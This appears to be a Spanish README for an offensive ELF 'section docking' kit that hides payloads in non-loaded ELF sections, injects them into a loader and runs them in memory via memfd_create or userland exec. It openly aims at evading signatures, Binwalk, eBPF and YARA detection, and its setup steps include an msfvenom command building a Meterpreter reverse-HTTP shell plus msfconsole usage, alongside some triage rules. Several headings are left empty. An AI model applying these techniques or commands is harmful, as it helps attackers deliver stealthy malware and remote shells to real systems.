
Kit de acoplamiento de secciones de binarios ELF para la entrega de payloads sin etapa, permitiendo la fijación de payloads en el campo, evasión de firmas y resistencia a la carga estática/dinámica mediante la manipulación personalizada de secciones ELF.
.data.payload.h:
const data[3432] = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23
};
Se logra manualmente o con herramientas como bin2c o xxd -i payload.bin > payload.h con inclusión de encabezado adicional.
Almacenar cargas útiles en .text y .data de manera genérica también es una mala idea debido a la facilidad de rastreo de carga y la introspección de la semántica de comportamiento de la carga de datos para su ejecución.
__attribute__. Esto es un poco mejor pero aún bien trazable debido a cómo se crea y carga ELF.char stack[10000] __attribute__ ((section ("binstack"))) = {
0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
...
0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;
main()
{
/* Inicializar puntero de pila */
init_sp (stack + sizeof (stack));
/* Inicializar datos inicializados */
memcpy (&init_data, &data, &edata - &data);
}
Una directiva similar a .incbin dependiente del ensamblador puede crear una sección e incrustar una carga útil.
Ej: gcc -c payload.s o ld -r -b payload.bin -o payload.o
.section .bindata
.global payload_start
.type payload_start, @object
.section .binddata
.balign 64
payload_start:
.incbin "payload.bin"
.balign 1
payload_end:
.byte 0
Con su posterior recuperación en el cargador como:
int main(void) {
extern uint8_t payload_start;
uint8_t *ptrPayload = &payload_start;
...
}
Nota: Podemos incluir un ELF completamente funcional en payload.bin, lo cual es importante cuando se trata de crear binarios "gordos", que contienen elementos de varios kits de herramientas.
Nota: Existen herramientas más ergonómicas para realizar la tarea, como INCBIN de @graphitemaster [enlace]
Una variación del tema es ASM en línea como la siguiente:
/* Datos de imagen sin procesar para todas las imágenes incrustadas */
#undef EMBED
#define EMBED( _index, _path, _name ) \
extern char embedded_image_ ## _index ## _data[]; \
extern char embedded_image_ ## _index ## _len[]; \
__asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t" \
"\nembedded_image_" #_index "_data:\n\t" \
".incbin \"" _path "\"\n\t" \
"\nembedded_image_" #_index "_end:\n\t" \
".equ embedded_image_" #_index "_len, " \
"( embedded_image_" #_index "_end - " \
" embedded_image_" #_index "_data )\n\t" \
".previous\n\t" );
EMBED_ALL
/* Estructuras de imagen para todas las imágenes incrustadas */
#undef EMBED
#define EMBED( _index, _path, _name ) { \
.refcnt = REF_INIT ( ref_no_free ), \
.name = _name, \
.data = ( userptr_t ) ( embedded_image_ ## _index ## _data ), \
.len = ( size_t ) embedded_image_ ## _index ## _len, \
},
static struct image embedded_images[] = {
EMBED_ALL
};
Nota: Observa PROGBITS en la definición de una sección, será importante.
La inclusión binaria de cargas útiles mediante compilador/enlazador no es ideal
Hay compensaciones:

El tipo de sección y los indicadores establecidos en la nueva sección que contiene determinan si el cargador del sistema operativo la carga en memoria al lanzar el ejecutable. Algunas secciones se cargan automáticamente por defecto, otras no (por ejemplo, .symtab, .strtab)
Desde el punto ofensivo, ¿qué eficiencias podemos obtener de eso?
Podemos evitar establecer indicadores en secciones que asumen la carga por defecto en memoria.
Podemos usar un tipo diferente de sección que no se cargue en memoria.
Un vendedor o ingeniero de sistemas podría necesitar marcar un archivo objeto con información especial que otros programas puedan verificar para determinar conformidad o compatibilidad. Las secciones de tipo
SHT_NOTEy los elementos de encabezado de programa de tipoPT_NOTEse pueden usar para este propósito.
En este último caso, podemos ver el uso de este tipo de sección en binarios del sistema:
$ readelf --sections /bin/tar | grep NOTE
[ 2] .note.gnu.bu[...] NOTE 00000000000002c4 000002c4
[ 3] .note.ABI-tag NOTE 00000000000002e8 000002e8
Y podemos inspeccionar su contenido:
$ readelf -p .note.ABI-tag /bin/tar
String dump of section '.note.ABI-tag':
[ c] GNU
El resultado final de crear una sección SHT_NOTE se verá así en el ELF:

Bonus: SHT_NOTE nos proporciona estructura si la necesitamos (y la usaremos más adelante):

Hasta ahora hemos podido crear una sección y evitar que el cargador del sistema operativo la cargue en memoria. La sección está efectivamente inactiva en la imagen ELF por el momento. Discutiremos cómo cargarla un poco más tarde. Sin embargo, una pregunta más apremiante es el hecho de que todavía estamos operando a nivel de compilador y enlazador, y la sección es un objeto que se entreteje en la estructura del ELF final, creando relaciones y direcciones de memoria desde el código del cargador que hace referencia a su contenido.

¿Qué pasaría si pudiéramos crear una sección ELF con una carga útil incrustada fuera del flujo de trabajo de compilación del cargador, y adjuntar esa sección en un momento posterior al binario del cargador?
Esto rompería la relación del código del cargador con la interacción de la sección. Luego enseñamos al cargador cómo encontrar y cargar su sección de datos extraña, "acoplando" efectivamente una carga útil a un cargador de manera débilmente acoplada.
Conceptualmente, nuestros objetivos serían:
La relación cargador/carga útil (en sección) ahora se vería así:

Entonces podemos crear un inyector que introduzca una sección de carga útil al cargador sin que ninguno de los dos opere a nivel de código, solo con compatibilidad binaria (y el cargador sabiendo cómo cargar cualquier sección de carga útil)

Algunos resultados de esta configuración genérica de acoplamiento de secciones ELF:
El cargador ELF estático puede distribuirse por sí solo, sin cargas útiles, solo con mecanismos para cargar una sección bajo demanda y arrancar la carga útil desde ella.
La carga útil puede empaquetarse por separado y agruparse con el cargador en cualquier momento como una etapa estática, o en un momento posterior con un inyector. La carga útil a menudo puede estar cifrada, a menudo puede ser un ejecutable ELF en sí mismo si es necesario, siempre que el cargador conozca no la estructura de la carga útil, sino solo sus capacidades de empaquetado.
El inyector puede intermediar el acoplamiento de secciones de varios binarios (etapas latentes) para construir una sección e inyectarla en el cargador.
Hay ventajas en la construcción a nivel de sección frente al empaquetado de múltiples recursos en un ejecutable. No hay sobrecarga de detección por procesamiento de empaquetador y código. Hay ventajas en términos de transportar múltiples secciones con otras herramientas que dependen del lanzamiento en memoria y que no se pueden empaquetar fácilmente debido a cómo los empaquetadores tienen que extraer binarios al sistema de archivos. (Sección de binarios gordos más adelante)
Discutamos los componentes del acoplamiento de secciones ELF con mayor detalle.
Disposición: posterior o en campo Ventajas:
Disposición: en campo Ventajas:
Ventajas:
Fortalecimiento del inyector/empaquetador seccional de ELF:
Fortalecimiento del cargador ELF:
Algunas palabras sobre el cargador seccional de ELF trabajando con el lanzador de carga útil:
El cargador puede utilizar uno de dos mecanismos de ejecución de carga útil en memoria:
Opción A: SYS_Memfd_create ()
Opción B: User land Exec (https://grugq.github.io/docs/ul_exec.txt)
Flujo de trabajo en ejecución:

Oportunidades de evasión de Binwalk después de carga útil seccional de ELF vs. carga útil de MSF:

Evasión de eBPF vs. empaquetador seccional de ELF:

Verificador y pruebas de YARA:


Definición de herramienta STIX:

cmake --configure . para configurar tu entorno de compilación. Soporta CMake 3.18 actualmente../build.shhttps://github.com/rapid7/mettlevendor/lib/reflect/libreflect.a pero se puede reconstruir desde el repositorio original si es necesario.bpftrace, instala los encabezados de kernel apropiados para tu distribución.run.shaux/msfrc así:msfconsole -r aux/triage/msfrc
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443 -f elf > ../elfpack_staging/mettle-shell.elf
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
aux/triage/elfpack_yar.py./aux/triage/elfpack_yar.py <ruta/al/archivo/elf> [seccion_elf]